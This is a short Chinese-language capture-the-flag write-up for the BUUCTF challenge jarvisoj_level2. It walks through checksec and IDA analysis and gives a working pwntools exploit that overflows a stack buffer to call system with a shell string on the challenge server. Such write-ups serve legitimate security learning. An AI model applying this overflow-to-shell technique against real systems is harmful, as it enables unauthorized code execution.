首先检查checksec
可以看见no canary found
说明可能是栈溢出
运行一下程序
随便输一个,得到hello world(感觉这一步好像没啥用,没有RE那用)
IDA 32 打开
后门
漏洞点
buf:
代码思路:利用溢出,把buf填满,然后构造程序,得到获取shell的目的
exp来自
BUUCTF—jarvisoj_level2 - 予柒 - 博客园 (cnblogs.com)
from pwn import*
r=remote('node5.buuoj.cn',27695)
shell_addr=0x804a024
system=0x8048320
payload=b'a'*(0x88+4)+p32(system)+p32(6)+p32(shell_addr)
r.sendline(payload)
r.interactive()
这里解释一下代码
payload就是溢出,然后p32 就是调用system,然后后面紧跟着就是p32(6),这个你随便填都行
因为32构造就是 地址+下一次返回地址+参数
只是格式需要